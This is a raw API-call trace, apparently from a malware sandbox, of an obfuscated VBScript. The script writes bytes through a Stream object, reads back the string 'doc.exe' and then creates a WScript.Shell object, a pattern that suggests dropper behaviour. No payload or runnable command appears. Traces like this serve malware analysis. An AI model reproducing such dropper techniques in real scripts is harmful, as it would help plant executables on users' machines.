[0089.180] malloc (_Size=0x404) returned 0x86ea2e0 [0089.181] ??2@YAPAXI@Z () returned 0x86bfeb0 [0089.181] malloc (_Size=0x804) returned 0x83fc220 [0089.181] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0089.181] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0089.181] _wcsicmp (_String1="byteArray", _String2="BytesToStr") returned -18 [0089.181] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0089.181] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="write", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=13) returned 0x0 [0089.181] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0089.181] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0089.181] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=13, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1542cc*(rgvarg=([0]=0x83d6698*(varType=0x400c, wReserved1=0x847, wReserved2=0xd8b0, wReserved3=0x847, varVal1=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b079a8*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6b93240*, rgsabound=((cElements=0x7, lLbound=0))), varVal2=0x0), varVal2=0x847d948)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=([0]=0x83d6698*(varType=0x400c, wReserved1=0x847, wReserved2=0xd8b0, wReserved3=0x847, varVal1=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b079a8*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6b93240*, rgsabound=((cElements=0x7, lLbound=0))), varVal2=0x0), varVal2=0x847d948)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962bad0) returned 0x0 [0089.182] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0089.182] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.182] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.182] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.182] GetCurrentThreadId () returned 0xd44 [0089.182] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.182] ??2@YAPAXI@Z () returned 0x86bfeb0 [0089.182] malloc (_Size=0x804) returned 0x83fc220 [0089.182] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0089.183] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0089.183] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0089.183] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Position", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=3) returned 0x0 [0089.183] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0089.183] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0089.183] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=3, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x8790000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x8790000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962bad0) returned 0x0 [0089.183] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0089.183] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0089.183] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="Type", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=4) returned 0x0 [0089.183] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0089.184] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0089.184] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1545b8*(rgvarg=([0]=0x83d66d8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x8791454)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=([0]=0x83d66d8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x8791454)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962bad0) returned 0x0 [0089.184] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0089.184] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0089.184] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="CharSet", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=8) returned 0x0 [0089.184] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0089.184] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0089.184] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=8, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1545b8*(rgvarg=([0]=0x1544f4*(varType=0x8, wReserved1=0x15, wReserved2=0x6748, wReserved3=0x83d, varVal1="utf-8", varVal2=0x83da080)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=([0]=0x1544f4*(varType=0x8, wReserved1=0x15, wReserved2=0x6748, wReserved3=0x83d, varVal1="utf-8", varVal2=0x83da080)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962bad0) returned 0x0 [0089.184] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0089.184] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.185] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.185] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.185] GetCurrentThreadId () returned 0xd44 [0089.185] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.185] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.185] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.185] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.185] GetCurrentThreadId () returned 0xd44 [0089.186] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.186] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.186] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.186] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.186] GetCurrentThreadId () returned 0xd44 [0089.186] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.186] ??2@YAPAXI@Z () returned 0x86bfeb0 [0089.186] malloc (_Size=0x804) returned 0x83fc220 [0089.186] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0089.187] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0089.187] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0089.187] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="ReadText", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=19) returned 0x0 [0089.187] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0089.187] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0089.187] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=19, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x1542cc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66a8, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66a8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="doc.exe", varVal2=0x0), pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962bad0) returned 0x0 [0089.187] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0089.187] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0089.187] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.188] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.188] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.188] GetCurrentThreadId () returned 0xd44 [0089.188] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.188] ??2@YAPAXI@Z () returned 0x86bfeb0 [0089.188] malloc (_Size=0x804) returned 0x83fc220 [0089.188] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0089.188] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0089.188] _wcsicmp (_String1="BytesToStr", _String2="BytesToStr") returned 0 [0089.189] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.189] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.189] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.189] GetCurrentThreadId () returned 0xd44 [0089.189] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.189] ??2@YAPAXI@Z () returned 0x86bfeb0 [0089.189] malloc (_Size=0x804) returned 0x83fc220 [0089.189] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0089.189] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0089.189] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0089.190] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Close", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=11) returned 0x0 [0089.190] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0089.190] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0089.190] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=11, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962bad0) returned 0x0 [0089.190] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0089.191] free (_Block=0x1197880) [0089.191] free (_Block=0x86ea2e0) [0089.191] free (_Block=0x844c5d0) [0089.191] free (_Block=0x83d9f10) [0089.191] ??3@YAXPAX@Z () returned 0xc80001 [0089.191] free (_Block=0x1197838) [0089.191] free (_Block=0x11c29f0) [0089.191] free (_Block=0x11917e0) [0089.191] free (_Block=0x83d9df8) [0089.191] ??3@YAXPAX@Z () returned 0xb60001 [0089.192] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549a8 | out: ppvObject=0x1549a8*=0x11977a8) returned 0x0 [0089.192] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="varryb", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=1395232) returned 0x80020006 [0089.192] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="varryb", grfdex=0x8, pid=0x15491c | out: pid=0x15491c*=-1) returned 0x80020006 [0089.192] GetCurrentThreadId () returned 0xd44 [0089.192] IUnknown:Release (This=0x11977a8) returned 0x6 [0089.192] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.237] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vardat", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.237] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vardat", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.237] GetCurrentThreadId () returned 0xd44 [0089.238] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.238] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.238] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="varcss", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.238] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="varcss", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.238] GetCurrentThreadId () returned 0xd44 [0089.238] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.238] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.238] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="oo9i878ui23", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.238] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="oo9i878ui23", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.238] GetCurrentThreadId () returned 0xd44 [0089.239] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.241] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.241] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="varf", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.241] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="varf", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.241] GetCurrentThreadId () returned 0xd44 [0089.241] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.242] ??2@YAPAXI@Z () returned 0x86bff10 [0089.242] malloc (_Size=0x804) returned 0x83fc220 [0089.242] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0089.242] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x1549dc | out: lpclsid=0x1549dc*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0089.243] SysStringLen (param_1=0x0) returned 0x0 [0089.243] CoGetClassObject (in: rclsid=0x1549dc*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1549cc | out: ppv=0x1549cc*=0x1112b18) returned 0x0 [0089.243] WshShell:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x1549c8 | out: ppvObject=0x1549c8*=0x0) returned 0x80004002 [0089.243] WshShell:IClassFactory:CreateInstance (in: This=0x1112b18, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1549d0 | out: ppvObject=0x1549d0*=0x86bfec4) returned 0x0 [0089.243] WshShell:IUnknown:Release (This=0x1112b18) returned 0x0 [0089.243] WshShell:IUnknown:QueryInterface (in: This=0x86bfec4, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154994 | out: ppvObject=0x154994*=0x0) returned 0x80004002 [0089.243] WshShell:IUnknown:QueryInterface (in: This=0x86bfec4, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154984 | out: ppvObject=0x154984*=0x86bfeb0) returned 0x0 [0089.243] WshShell:IUnknown:AddRef (This=0x86bfeb0) returned 0x3 [0089.243] WshShell:IUnknown:Release (This=0x86bfeb0) returned 0x2 [0089.243] 